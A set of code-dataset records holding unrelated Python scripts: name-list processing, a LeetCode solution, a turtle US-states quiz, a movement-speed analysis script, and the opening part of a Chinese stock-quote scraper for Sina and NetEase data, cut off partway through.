+{"seq_id":"1075633578","text":"def get_file_content(*, file: str) -> str:\n with open(file) as f:\n return f.read()\n\n\ndef save_file(*, content: str, file: str) -> None:\n with open(file, \"w\") as f:\n f.write(content)\n\n\ndef extract_gender(*, sex: str, csv: str) -> set[str]:\n found = set()\n for line in csv.splitlines():\n _sex, _name, _count = line.split(\",\")\n if sex == _sex:\n found.add(_name)\n return found\n\n\ndef extract_male(*, csv: str) -> set[str]:\n return extract_gender(sex=\"M\", csv=csv)\n\n\ndef extract_female(*, csv: str) -> set[str]:\n return extract_gender(sex=\"F\", csv=csv)\n\n\ndef set_to_txt(*, set_to_convert: set[str]) -> str:\n return \"\\n\".join(set_to_convert)\n\n\nif __name__ == \"__main__\":\n all_names = get_file_content(file=\"raw.csv\")\n\n male = extract_male(csv=all_names)\n female = extract_female(csv=all_names)\n\n del all_names\n\n neutral = set()\n for n in male:\n if n in female:\n neutral.add(n)\n\n save_file(file=\"male.txt\", content=set_to_txt(set_to_convert=male))\n save_file(file=\"female.txt\", content=set_to_txt(set_to_convert=female))\n save_file(file=\"neutral.txt\", content=set_to_txt(set_to_convert=neutral))\n","repo_name":"AlbertUnruh/EvolutionaryHuman","sub_path":"tools/names/process_raw_data.py","file_name":"process_raw_data.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"14140982485","text":"from re import search\n\n\ndef searchInsert(nums, target):\n\n # edge case were the target is in the first or last position of the list\n if target < nums[0]:\n return 0\n elif target > nums[len(nums)-1]:\n return len(nums)\n\n# search for the target position\n for i in range(len(nums)):\n curr_num = nums[i]\n\n if (curr_num == target):\n return i\n else:\n if target > curr_num and target < nums[i+1]:\n return i+1\n\n\nnums = [2, 2, 4, 6]\ntarget = 1\nprint(searchInsert(nums, target))\n","repo_name":"AndrewIO47/leetcode","sub_path":"arrays/search-insert-position.py","file_name":"search-insert-position.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20292267278","text":"import turtle\r\nimport pandas as pd\r\n\r\nstates = pd.read_csv(\"50_states.csv\")\r\nscreen = turtle.Screen()\r\nscreen.title(\"U.S.States Game\")\r\nimage = \"blank_states_img.gif\"\r\nscreen.addshape(image)\r\nturtle.shape(image)\r\n\r\nturtle_writer = turtle.Turtle()\r\nturtle_writer.hideturtle()\r\nturtle_writer.penup()\r\ngame_on = True\r\n# def get_mouse_click_coor(x, y):\r\n# print(x, y)\r\n#\r\n#\r\n# turtle.onscreenclick(get_mouse_click_coor)\r\nscore = 0\r\ncorrect_guesses = []\r\nall_states = states[\"state\"].to_list()\r\nwhile len(correct_guesses) < 50:\r\n answer_state = screen.textinput(title=f\"{score}/50 States correct.\", prompt=\"What's another state's name?\").title()\r\n if answer_state == \"Exit\":\r\n # set_all_states = set(all_states)\r\n # set_correct_guesses = set(correct_guesses)\r\n # states_not_guessed = set_all_states.difference(set_correct_guesses)\r\n pd.DataFrame([state_name for state_name in all_states if state_name not in correct_guesses]).\\\r\n to_csv(\"states_not_guessed.csv\")\r\n break\r\n if answer_state in all_states:\r\n x = states[states[\"state\"] == answer_state][\"x\"]\r\n y = states[states[\"state\"] == answer_state][\"y\"]\r\n turtle_writer.goto(int(x), int(y))\r\n turtle_writer.write(answer_state, align=\"center\")\r\n score += 1\r\n correct_guesses.append(answer_state)\r\n\r\nturtle.mainloop()\r\n","repo_name":"ankitkparashar/python","sub_path":"Bootcamp/USStatesGame/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3742249577","text":"# Script for plotting and analysis of how different features change over time\n# Peak mean speed\n# Peak acceleration\n# Path length\n# Initiation\n# Variability of movement\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport mne\nimport gc\nimport ICNVigorTask.utils.utils as utils\nfrom mne_bids import BIDSPath, read_raw_bids, print_dir_tree, make_report\nfrom alive_progress import alive_bar\nimport time\nfrom statannot import add_stat_annotation\nimport seaborn as sb\nfrom scipy import stats\nimport matplotlib\nmatplotlib.use('TkAgg')\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n#bids_root = \"C:\\\\Users\\\\ICN\\\\Documents\\\\VigorStim\\\\Data\\\\rawdata\\\\\"\nbids_root = \"C:\\\\Users\\\\alessia\\\\Documents\\\\Jobs\\\\ICN\\\\vigor-stim\\Data\\\\rawdata\\\\\"\n\n# Set analysis parameters\nfeature = \"peak_speed\" # out of [\"peak_speed\", \"peak_acc\", \"move_dur\", \"RT\", \"tortu\", \"variability\"]\nplot_individual = True\nsubject_list = [\"L001\", \"EL006\", \"EL007\", \"EL008\", \"EL012\", \"EL013\", \"EL014\", \"EL015\", \"EL016\",\n \"L002\", \"L003\", \"L005\", \"L006\", \"L007\", \"L008\"]\nsubject_list = [\"EL015\"]\n\n# Plot the feature over time for all datasets\nfeature_array_all = []\nwith alive_bar(len(subject_list), force_tty=True, bar='smooth') as bar:\n for subject in subject_list:\n\n # Read one dataset from every participant (peferably Med Off, if non existent Med On)\n file_path = utils.get_bids_filepath(root=bids_root, subject=subject, task=\"VigorStim\", med=\"Off\")\n if not file_path:\n #continue\n file_path = utils.get_bids_filepath(root=bids_root, subject=subject, task=\"VigorStim\", med=\"On\")\n\n # Load the dataset of interest\n raw = read_raw_bids(bids_path=file_path, verbose=False)\n\n # Get index of interesting data\n mean_speed_idx = raw.info[\"ch_names\"].index(\"SPEED_MEAN\")\n target_idx = raw.info[\"ch_names\"].index(\"TARGET\")\n target_x_idx = raw.info[\"ch_names\"].index(\"TARGET_X\")\n target_y_idx = raw.info[\"ch_names\"].index(\"TARGET_Y\")\n pen_x_idx = raw.info[\"ch_names\"].index(\"PEN_X\")\n pen_y_idx = raw.info[\"ch_names\"].index(\"PEN_Y\")\n\n # Structure data in trials and blocks\n data = utils.reshape_data_trials(raw)\n\n # Extract the feature\n # Peak speed\n if feature == \"peak_speed\":\n feature_array = np.max(data[:, :, :, mean_speed_idx, :], axis=3)\n # Peak acceleration\n if feature == \"peak_acc\":\n feature_array = utils.get_peak_acc(data[:, :, :, mean_speed_idx, :])\n # Movement duration\n if feature == \"move_dur\":\n feature_array = utils.get_move_dur(data[:, :, :, [mean_speed_idx, target_idx], :])\n # Reaction time\n if feature == \"RT\":\n feature_array = utils.get_RT(data[:, :, :, mean_speed_idx, :])\n # Tortuosity of movement\n if feature == \"tortu\":\n feature_array = utils.get_tortu(data[:, :, :, [pen_x_idx, pen_y_idx, target_x_idx, target_y_idx], :])\n # Variability of speed curve\n if feature == \"variability\":\n feature_array = utils.get_variability(data[:, :, :, mean_speed_idx, :])\n\n # Delete the dataset to reduce memory load\n del data\n gc.collect()\n\n # Detect and fill outliers (e.g. when subject did not touch the screen)\n np.apply_along_axis(lambda m: utils.fill_outliers(m), axis=2, arr=feature_array)\n np.apply_along_axis(lambda m: utils.fill_outliers(m), axis=2, arr=feature_array)\n\n # Normalize to the start and smooth over 5 consecutive movements\n #feature_array = utils.smooth_moving_average(utils.norm_perc(feature_array), window_size=5)\n\n # Plot if needed\n if plot_individual:\n plt.figure(figsize=(10, 5))\n utils.plot_conds(feature_array)\n plt.xlabel(\"Movements\")\n plt.ylabel(f\"$\\Delta$ {feature} in %\")\n plt.title(file_path.basename)\n\n # Save the feature values for all datasest\n feature_array_all.append(feature_array)\n\n bar()\n\nfeature_array_all = np.array(feature_array_all)\n\n# Save matrix\nplt.save(f\"../../../Data/peak_speed.npy\", feature_array_all)\n\nplt.show()","repo_name":"neuromodulation/ICNVigorTask","sub_path":"analysis/archive/extract_speed_matrix.py","file_name":"extract_speed_matrix.py","file_ext":"py","file_size_in_byte":4175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"45102912162","text":"#coding=utf-8\n\n\"\"\"\n作者:xjxfly\n邮箱:xjxfly@qq.com\n\n申明:\n1. 这是爬虫包,调用本包中的接口,将直接从公开网站拿公开数据.\n\n2. 本包作者不对数据的真实性,准确性,时效性等负责,本包接口返回的数据都是来自公开网站的公开数据。\n\t调用者调用本包接口返回数据用于决策、计算等等,引发的自身经济损失或法律问题由使用者自己承担,和本包作者无关。\n\n3. 本包仅用于学习研究,禁止用来向各接口所指向的网站发起攻击或频繁调用使其不堪重负或瘫痪。\n\"\"\"\n\nimport pandas as pd\nimport random\nimport time\nimport datetime\nimport math\nimport json\n\nimport requests \t\t# 好用的爬虫请求库,比下面的 urllib 好用\nimport selenium \t\t# 用于浏览器自动化\nimport bs4 \t\t\t\t# 用于解析 html \n\nfrom urllib.request import urlopen, Request\nfrom selenium import webdriver \t\t\t\t# 用于浏览器自动化\n\nimport jxbase as jxb \t\t\t\t\t\t# 引入自定义基础包\nimport cnstock \t\t\t\t\t\t\t\t# 引入中国股市规则包\n\nfrom . import common_config as cf \t\t\t# 引入本包的配置文件\n\n\n#########=====================================================\n\n\n# ------------------------------------------------\n# ------------------------------------------------\n# functions start here\n\n# ---------------------------------\n# basic and common interface start\n\n# 先从自定义中国股市规则包 cnstock 获取交易规则(以字典形式返回)\nstock_default_rule_dict = cnstock.get_rule() \t\t\t\t\t# 获取中国股市默认交易规则\nstock_300_rule_dict = cnstock.get_rule(code_type='sz300') \t\t# 获取深证300创业板交易规则\n\n\n\n\n\n\n\ndef is_trade_date():\n\t'''\n\t说明:判断今天是否交易日。该函数通过从获取指数(上证综指)的实时数据中提取日期,以判断今天是否交易日。\n\t\t注意:只有在开盘后调用才有用,所以建议在 9:15 后调用本函数,否则不准。\n\t参数:无 \n\t返回值:交易日返回 True, 非交易日返回 False. 无法判断返回 None.\n\t'''\n\tfunc_name = jxb.get_current_function_name() + ': '\n\tif time.time() <= jxb.get_timestamp(xtime=stock_default_rule_dict['OPEN_TIME']):\n\t\tprint(jxb.get_current_time(),func_name,' 本函数是针对实盘判断是否交易日的,请在 %s 开盘后调用。' % (stock_default_rule_dict['OPEN_TIME']))\n\t\treturn None\n\txtoday = jxb.get_today()\n\t# shzz = '000001' \t\t\t# 这句也是正确的,但为了防止数据分散造成混乱,采用下面这一句,让所有地方的指数都从 cnstock 这个包获取\n\tshzz = cnstock.get_index_code() \t\t\t# 获取上证综指代码(不加参数默认就是返回上证综指代码)\n\tdf = get_sina_realtime_stock_data(code_arr=[shzz],index=True)\n\tif df is None:\n\t\tdf = get_netease_realtime_stock_data(code_arr=[shzz],index=True) \n\t\tif df is None:\n\t\t\tprint(jxb.get_current_time(),func_name,'由于 get_sina_realtime_stock_data() 和 get_netease_realtime_stock_data() 没有返回实时数据,本函数无法判断今天是否交易日,将返回 None')\n\t\t\treturn None\n\n\tif str(df.loc[0,'date']) == str(xtoday):\n\t\treturn True\n\telse:\n\t\treturn False\n\n\n\n\n\n\ndef get_realtime_stock_data(code_arr,index=False,source='sina'):\n\t\"\"\"\n\t说明:根据传入的股票代码数组,调用相应的实时数据接口获取实时数据,以 df 形式返回\n\t参数:code_arr, 待取实时数据的股票代码列表,index 表明是否指数;source: 表示从哪个源获取,取值为'sina','SINA','netease','NETEASE'\n\t返回值:相应股票的实时数据,df 格式\n\t\"\"\"\n\tif source in ['sina','SINA']:\n\t\tdf = get_sina_realtime_stock_data(code_arr=code_arr,index=index)\n\n\tif source in ['netease','NETEASE']:\n\t\tdf = get_netease_realtime_stock_data(code_arr=code_arr,index=index)\n\n\treturn df\n\n\n\n\n\n\n\n\ndef get_k_data(code,xbegin=None,xend=None,index=False,source='netease'):\n\t\"\"\"\n\t说明:这是和上述 get_netease_k_data() 函数一样的,是对上述这个函数的封装\n\t\"\"\"\n\tdf = None\n\tif source in ['netease','NETEASE']:\n\t\tdf = get_netease_k_data(code=code, xbegin=xbegin, xend=xend, index=index)\n\t\n\treturn df\n\n\n\n\n\n\n\ndef get_stock_fund_flow(code,index=False,source='tencent'):\n\t\"\"\"\n\t说明:从指定源获取指定股票的主力和散户资金流向\n\t参数:code: 需要获取资金流行的股票代码; index: 是否指数,一般设为 False;source: 从哪个源获取\n\t返回值:资金流向数据(df 格式)\n\t\"\"\"\n\tdf = None\n\tif source in ['tencent','TENCENT','qq','QQ']:\n\t\tdf = get_tencent_stock_fund_flow(code=code,index=index)\n\n\treturn df\n\n\n\n\n\n\n\ndef get_all_code(source='eastmoney'):\n\t\"\"\"\n\t说明:到指定的源去取所有股代码,默认到东财爬所有股\n\t参数:source: 数据源。\n\t返回值:list, 元素为股票代码\n\t\"\"\"\n\tif source == 'eastmoney':\n\t\tall_code_arr = get_all_code_from_eastmoney()\n\n\treturn all_code_arr\n\n\n\n\n\ndef make_header():\n\t\"\"\"\n\t说明:构造一个 http 请求头返回\n\t\"\"\"\n\t# 构造一个 dict 形式的 http 请求头\n\theader = {\n\t\t'Connection': 'Keep-Alive',\n\t\t'Accept': 'text/html, application/xhtml+xml, */*',\n\t\t'Accept-Language':'zh-CN,zh;q=0.8',\n\t\t#'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko'\n\t\t'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'\n\t\t}\n\treturn header\n\n\n\n\n\n\n\n\n\ndef get_page_by_urllib(url,header=None):\n\t\"\"\"\n\t说明:下载(获取)指定 URL 的页面源码。本接口作为候选接口,请优先选用下面的 get_page_by_requests() 接口\n\t参数:url:目标地址; headers: 请求头,若没有传入,则由本函数自己调用请求头。\n\t返回值:url 指向的 page_source(本函数已经将取到的 page_source decode() 成字符串形式(纯文本))\n\t\"\"\"\n\tif header is None:\n\t\theader = make_header()\n\treq = Request(url,headers=header)\n\topener = urlopen(req)\n\t# charset = opener.info().get_content_charset() \t\t# 这句和下面这句是一样的,只需用一句即可\n\tcharset = opener.headers.get_content_charset() \t\t\t# 从返回的字节流中提取字符编码方式,待会后面要用到\n\tif charset is not None:\n\t\tpage_source = opener.read().decode(charset) \t\t# 用上一句读取到的编码方式不是 None ,则用它进行解码\n\telse:\n\t\tpage_source = opener.read().decode() \t\t\t\t# 若 charset 为 None,则用不带参数的 decode() 解码\n\n\treturn page_source \t\n\n\n\n\n\n\n\ndef get_page_by_requests(url,header=None):\n\t\"\"\"\n\t说明:下载(获取)��定 URL 的页面源码。对于静态 html 或网站能直接提供数据的(包括api形式,string 形式,json形式等),\n\t\t请优先使用本接口去获取数据,次选上面的 get_page_by_urllib() 接口;\n\t\t若网站的数据没有直接给,而是用 js 方式提供的话,则请调用下面的 get_page_by_browser() 方式去获取,它是模拟浏览器的\n\t参数:url:目标地址; headers: 请求头,若没有传入,则由本函数自己调用请求头。\n\t返回值:url 指向的 page_source(本函数已经将取到的 page_source decode() 成字符串形式(纯文本))\n\t\"\"\"\n\tif header is None:\n\t\theader = make_header()\n\tresponse = requests.get(url,headers=header)\n\t#charset = response.encoding \t\t\t# 从返回的字节流中提取字符编码方式,待会后面可能要用到\n\tpage_source = response.text \t\t\t# 获取纯文本的网页源码\n\n\treturn page_source \t\n\n\n\n\n\n\n\n\ndef get_page_by_browser(url,browser=None):\n\t\"\"\"\n\t说明:通过浏览器下载(获取)指定 URL 的页面源码)\n\t参数:url:目标网页地址; browser: 指定浏览器程序名,可以是包含驱动器的全路径\n\t返回值: 页面源码 page_source(已经是纯文本形式(即字符串),无需再调用 decode() 解码,要不然要出错)\n\t\"\"\"\n\tbrowser_driver = get_browser_driver(browser=browser)\n\tif browser_driver is None:\n\t\treturn None\n\n\tbrowser_driver.get(url)\n\tpage_source = browser_driver.page_source\n\n\treturn page_source\n\n\n\n\n\n\ndef get_browser_driver(browser=None):\n\t\"\"\"\n\t功能说明:根据传入的浏览器(可以全路径文件名)程序,返回一个 selenium 处理后的 webdriver,用于浏览器自动化\n\t若用户没有 phantomjs.exe 浏览器,可到以下链接下载(下载后将 phantomjs.exe 解压出来放到 path 所指的一条路径即可):\n\thttps://phantomjs.org/download.html\n\thttps://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-windows.zip\n\t\"\"\"\n\tif browser is None:\n\t\tif jxb.is_windows() == True:\n\t\t\tbrowser = \"phantomjs.exe\"\n\t\tif jxb.is_linux() == True:\n\t\t\tbrowser = \"phantomjs\"\n\n\tbrowser_driver = None\n\t#browser_driver = webdriver.PhantomJS(browser, service_args=['--ignore-ssl-errors=true', '--ssl-protocol=any']) \n\ttry:\t\n\t\tbrowser_driver = webdriver.PhantomJS(browser)\n\texcept:\n\t\tprint(\"错误!没检测到 PhantomJS 浏览器。如果还没安装可到以下网址下载安装。\")\n\t\tprint(\"如果已经安装,请将 phantomjs.exe 所在路径添加到系统 path 中。\")\n\t\tprint(\"phantomjs 下载地址:\")\n\t\tprint(\"\thttps://phantomjs.org/download.html\")\n\t\tprint(\"\thttps://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-windows.zip\")\n\n\treturn browser_driver\n\n\n\n\n\ndef save_page(page_source,filename,mode='a'):\n\t\"\"\"\n\t说明:把抓下来的网页源码以utf-8 编码保存到到文件\n\t参数:page_source: 已经 decode 的网页源码; filename: 文件名(可以是全路径); mode: 表示打开文件模式(是读,是新建,还是追加内容的写等)\n\t返回值:无\n\t\"\"\"\n\ttry:\n\t\tf = open(filename,mode,encoding='utf-8')\n\t\tf.write(page_source)\n\t\tf.close()\n\texcept:\n\t\tprint(\"错误!保存文件出错。\")\n\n\n\n\n\n\ndef get_prefixed_code_arr(code_arr,by='letter',index=False):\n\t\"\"\"\n\t说明:该函数对传入的股票代码数组 code_arr 中的每一只股加上市场代码前缀(如'sh'或'0' )后,以数组形式返回\n\t参数:code_arr: 待加前缀的6位股票代码(字符串形式)构成的数组; by: 取值'letter' 或 'number',表示加字母前缀('sh','sz' 等)还是加数字前缀('0','1'等)\n\t\tindex: 表示传入的 code_arr 中的股票代码是否指数,取值 True 或 False\n\t返回值:加了前缀后的股票代码数组\n\t\"\"\"\t\n\tprefixed_code_arr = []\n\n\tfor i,code in enumerate(code_arr):\n\t\tprefixed_code = None\n\t\t# 调用 cnstock 包的 get_prefixed_stock_code() 对股票代码加上市前缀(该函数会自动判断股票代码属于哪个市场)\n\t\tprefixed_code = cnstock.get_prefixed_stock_code(code=code,by=by,index=index)\n\t\tif prefixed_code is not None:\n\t\t\tprefixed_code_arr.append(prefixed_code)\n\n\treturn prefixed_code_arr\n\n\n\n\n\n\n\n\ndef get_table_from_webpage(page_source=None, format_df=True):\n\t\"\"\"\n\t说明:从网页源码中提取表格数据返回\n\t参数:page_source: 通过 request 或 selenium + phantomjs等爬到的网页源码(必须是已经 decode() 过的纯文本(字符串形式));\n\t\tformat_df: 表示将网页源码中包含的 是转成python 的二维 list 还是转成 pandas 的 DataFrame,默认是 True, 表示转成 DataFrame 格式\n\t返回值:是一个 list, 其中每个元素是对应网页中一个
    的二维 list 或 df,每个 元素 list 或 df 由网页中的一个
    转换而来\n\t\"\"\"\n\tif page_source is None:\n\t\tprint('错误!请传入目���网页源码 page_source(且必须已经 decode)')\n\t\treturn None\n\t#soup = bs4.BeautifulSoup(page_source,\"html5lib\") \t\t\t# 准备用 lxml 解析网页源码内容 page_source。注意:即便装了 html5lib 模块,在执行这句时也有问题,好像会卡死。\n\tsoup = bs4.BeautifulSoup(page_source,\"lxml\") \t\t\t\t# 准备用 lxml 解析网页源码内容 page_source. 注意:这里的 page_source 必须是纯文本的字符串,也就是要已经 decode() 过了的\n\n\ttable_arr = [] \t\t# 用于存放网页上的一个个表格,这个 list 的元素对应网页上的一个
    \n\tfor table in soup.table:\n\t\ttemp_table = [] \t\t\t# 每一个temp_table ,用于保存网页上的一个 table数据,以二维 list 保存\n\t\tfor row in table:\n\t\t\trow_str = row.get_text(separator=',')\n\t\t\trow_arr = row_str.split(',')\n\t\t\ttemp_table.append(row_arr)\n\n\t\tif len(temp_table) > 0:\n\t\t\tif format_df == True:\n\t\t\t\ttemp_table = pd.DataFrame(temp_table) \t\t\t# 将二维 list 转成 DataFrame\n\t\t\ttable_arr.append(temp_table)\n\n\treturn table_arr\n\n\n\n\n\n\n\n\n# basic and common interface end\n# ==================================\n\n\n# ---------------------------------\n# sina data start\n\ndef get_sina_realtime_stock_data(code_arr,index = False):\n\t\"\"\"\n\t说明:根据传入的股票代码数组,到新浪获取实时数据,以 df 形式返回,这个函数只是起一个分包作用,真实到新浪调取行情数据的是下面这个 get_sina_realtime_stock_data2()\n\t参数:code_arr, 待取实时数据的股票代码列表,index 表明是否指数\n\t返回值:相应股票的实时数据,df 格式\n\t\"\"\"\n\tpackage_size = 800 \t\t\t# 一次拿几只股的实时数据 (新浪一次性最大支持 800只)\n\tcount1 = math.ceil((len(code_arr) / package_size)) \t\t\t# 共需几组才能拿完\n\n\tall_df = None \t\t\t\t# all_df 用来保存新浪返回的实时行情数据,预设 None\n\tfor i in range(count1):\n\t\tdf = get_sina_realtime_stock_data2(code_arr = code_arr[i*package_size:(i+1)*package_size],index = index) \t\t\t# 新浪允许的最大包为 800 只左右,超过这个值将出错\n\t\tif df is None:\n\t\t\tcontinue\n\t\telse:\n\t\t\tif all_df is None:\n\t\t\t\t#all_df = df.copy(deep=True)\n\t\t\t\tall_df = df\n\t\t\telse:\n\t\t\t\tall_df = pd.concat([all_df,df])\n\n\tif all_df is not None:\n\t\tall_df = all_df.reset_index(drop=True) \t\t# 由于 pd.concat() 会拼接重复索引,所以这里要 reset_index() 一下,drop=True 表示删除原来的索引 \n\n\treturn all_df\n\n\n\n\n\n\n\n\n\ndef get_sina_realtime_stock_data2(code_arr,index = False):\n\t\"\"\"\n\t说明:根据传入的股票代码数组,到新浪获取实时数据,以 df 形式返回,根据经验最好一次性不超过 800 只\n\t参数:code_arr, 待取实时数据的股票代码列表,index 表明是否指数\n\t返回值:df, 相应股票的实时数据,df 格式\n\t\"\"\"\n\tfunc_name = jxb.get_current_function_name() + ': '\n\tif len(code_arr) > 800:\n\t\tprint(func_name,'错误:请确保单次取新浪实时数据最大不超过 800 只股。')\n\t\treturn None\n\n\t# 构造新浪股票实时行情列头名称。不要更改顺序!\t\t\t\t \n\tcolumn_arr = [\n\t\t'name', \t\t# 名称\n\t\t'code', \t\t# 代码\n\t\t'open', \t\t# 开盘价(元)\n\t\t'last_close', \t# 昨收价(元)\n\t\t'price', \t\t# 市价(元)\n\t\t'high', \t\t# 最高价(元)\n\t\t'low', \t\t\t# 最低价(元)\n\n\t\t'volume', \t\t# 成交量(股)\n\t\t'amount', \t\t# 成交额(元)\n\n\t\t'bid1_volume', \t# 买一量(股)\n\t\t'bid1_price', \t# 买一价(元)\n\t\t'bid2_volume', \t# 买二量(股)\n\t\t'bid2_price', \t# 买二价(元)\n\t\t'bid3_volume', \t# 买三量(股)\n\t\t'bid3_price', \t# 买三价(元)\n\t\t'bid4_volume', \t# 买四量(股)\n\t\t'bid4_price', \t# 买四价(元)\n\t\t'bid5_volume', \t# 买五量(股)\n\t\t'bid5_price', \t# 买五价(元)\n\n\t\t'ask1_volume', \t# 卖一量(股)\n\t\t'ask1_price', \t# 卖一价(元)\n\t\t'ask2_volume', \t# 卖二量(股)\n\t\t'ask2_price', \t# 卖二价(元)\n\t\t'ask3_volume', \t# 卖三量(股)\n\t\t'ask3_price', \t# 卖三价(元)\n\t\t'ask4_volume', \t# 卖四量(股)\n\t\t'ask4_price', \t# 卖四价(元)\n\t\t'ask5_volume', \t# 卖五量(股)\n\t\t'ask5_price', \t# 卖五价(元)\n\n\t\t'date', \t\t# 日期\n\t\t'time' \t\t\t# 时间\n\t\t]\n\n\turl = get_sina_realtime_stock_url(code_arr = code_arr, index = index) \t\t# 把股票 list 串接成符合新浪数据源要求的格式返回\n\t#xrequest = Request(url) \t\t# 构造请求格式\n\n\t# 设几个初始变量\n\tdata_arr = [] \t\t# 存放新浪返回的行情数据 \n\tdf = None \t\t\t# 存放将上述行情数据转成 dataframe 格式后的数据\n\t\n\tretry_count = 20 \t\t\t# 拉取数据最多尝试次数\n\txcount = 1\n\n\twhile True:\n\t\tif xcount > retry_count:\n\t\t\tprint(func_name,'错误:拉取数据失败。')\n\t\t\treturn None\n\t\ttry:\n\t\t\t# 下面注释掉的这两句和后面的 get_page_by_requests() 有相同的效果,选用一种就可以了。\n\t\t\t#page_source = urlopen(xrequest,timeout=10).read() \t\t# 提交请求并读取返回的网页源码\n\t\t\t#page_source = page_source.decode('GBK') \t# 新浪情行返回的数据流要用 GBK 解码\n\t\t\tpage_source = get_page_by_requests(url = url) \t\t# 这个 url 返回的数据已经解码(即已经 decode() 过了)\t\t\t\n\t\texcept:\n\t\t\ts = random.randint(1,5)\t\t\t\n\t\t\tprint(func_name,'\\n由于发生了错误,或新浪行情服务器未能返回数据,本接口休息 %d 秒后将自动重新尝试拉数据。已尝试 %d / %d 次' % (s, xcount, retry_count))\t\t\t\n\t\t\ttime.sleep(s) \t\t\t# 如果被服务器踢,则停止3秒再拉数据\n\t\t\txcount += 1\n\t\t\tcontinue\n\t\telse:\n\t\t\t# 流程进到这里表示拿到了行情数据,下面对数据进行提取和规范,形成 df 返回\n\t\t\tarr = page_source.split(';')\n\t\t\tfor code_str in arr:\n\t\t\t\tarr2 = code_str.split('\"')\n\t\t\t\ttry:\n\t\t\t\t\tcode = arr2[0][-7:-1] \t\t# 提取股票代码\n\t\t\t\t\tarr2 = arr2[1].split(',')\t# 这里是行情各字段数据内容\t\t\t\t\n\t\t\t\texcept:\n\t\t\t\t\tcontinue\n\t\t\t\tif arr2[-1] == '':\n\t\t\t\t\tarr2 = arr2[0:-1]\n\t\t\t\tarr2.insert(1,code) \t\t\t# 将股票代码插在第2个元素位置,(第一个为股票名称)\n\t\t\t\tarr2 = arr2[0:7] + arr2[9:] \t# 将返回的数据去掉重复部分,以适配上面构造的列名称\n\t\t\t\tif len(arr2) > len(column_arr):\n\t\t\t\t\tarr2 = arr2[:len(column_arr)]\n\t\t\t\tdata_arr.append(arr2)\n\n\t\t\tdf = pd.DataFrame(data = data_arr, columns = column_arr) \t\t\t# 构造 DF, 并配上列头\n\n\t\t\t\"\"\"\n\t\t\t# 上面得到 df 后,把没有用的一些列去掉,即 temp开头的\n\t\t\tfor i,col in enumerate(column_arr):\n\t\t\t\tif col.startswith('temp') == True:\n\t\t\t\t\tdf.pop(col)\n\t\t\t\"\"\"\n\t\t\t# 股票代码要转成字符串,并补足前导0,所以这里要将其转成字符串,并调用字符串的方法右对齐左侧补数个 char 直到有 width 个: rjust(width,char)\n\t\t\tdf['code'] = df['code'].astype(dtype=str).str.rjust(6,'0') \t\t\t\t\t\n\t\t\t# ------------------------------------------------------\n\t\t\t# 获取市价。这个细节处理要注意,因为 9:25前返回的数据里没有 price, open, high, low ,但有 bid1 价格,就用 bid1填充他们\n\t\t\t# 所以判断当前时间,若已过了 9:25 ,则用 price 本身做市价,否则用 bid1 做市价\n\t\t\tif index == False and is_trade_date() == True and jxb.get_timestamp(xtime = stock_default_rule_dict['OPEN_TIME']) <= time.time() <= jxb.get_timestamp(xtime = stock_default_rule_dict['OPEN_PRICE_TIME']):\n\t\t\t\tdf['open'] = df['bid1_price'] \t\t\t\n\t\t\t\tdf['high'] = df['bid1_price']\n\t\t\t\tdf['low'] = df['bid1_price']\n\t\t\t\tdf['price'] = df['bid1_price'] \t\t\t\n\t\t\t# --------------------------------------------\n\t\t\t# 这些数值列转成 float\n\t\t\tfloat_column_arr = ['last_close','open','high','low','price','amount','bid1_price','bid2_price','bid3_price','bid4_price','bid5_price','ask1_price','ask2_price','ask3_price','ask4_price','ask5_price']\n\t\t\tdf = jxb.convert_df_type(df=df, xtype=float, column_arr=float_column_arr)\n\t\t\t# 这些数值列转成 int\n\t\t\tint_column_arr = ['volume','bid1_volume','bid2_volume','bid3_volume','bid4_volume','bid5_volume','ask1_volume','ask2_volume','ask3_volume','ask4_volume','ask5_volume']\n\t\t\tdf = jxb.convert_df_type(df=df, xtype=int, column_arr=int_column_arr)\n\t\t\t# 调整 df 中的列顺序,使之按 STOCK_COLUMN_ORDER_ARR 中的顺序排列\n\t\t\tdf = jxb.sort_df_column(df=df, column_arr=cf.STOCK_COLUMN_ORDER_ARR)\n\t\t\t# ==========================\n\t\t\tdf = df.sort_values(by = ['code'],ascending = [True])\n\t\t\tdf = df.reset_index(drop = True)\n\t\t\tbreak\n\n\treturn df\n\n\n\n\n\n\n\n\ndef get_sina_realtime_stock_url(code_arr, index = False):\n\t\"\"\"\n\t说明:该函数根据传入的股票代码数组,生成新浪实时股票行情的网址返回\n\t参数:code_arr: 股票代码列表;index: 表示code_arr 里的股票代码是否表示指数\n\t返回值:指向新浪实时行情的网址。\n\t\"\"\"\n\tif code_arr is None or len(code_arr)==0:\n\t\tprint(jxb.get_current_function_name() + ': 错误!传入的股票代码列表 code_arr 不能为空。')\n\t\treturn None\n\n\tbase_url = 'http://hq.sinajs.cn/list=%s' \t\t\t# 选择 sina 实时数据源\n\n\tprefixed_code_arr = get_prefixed_code_arr(code_arr=code_arr,index=index) \t# 对股票代码数组中的每一只股加上市场代码前缀后返回,仍然是数组形式\n\tprefixed_code_str = ','.join(prefixed_code_arr)\n\tprefixed_code_str += ','\n\turl = base_url % (prefixed_code_str) \t\t# 将实际值(即 % 后面括号里的值)代入到 base_url 中去\n\n\treturn url\n\n\n\n\n\n\n\n\n\n\n\n\n\n# sina data end\n# ==================================\n\n# ---------------------------------\n# netease data start\n\ndef get_netease_realtime_stock_data(code_arr,index = False):\n\t\"\"\"\n\t说明:根据传入的股票代码数组,到网易获取实时数据,以 df 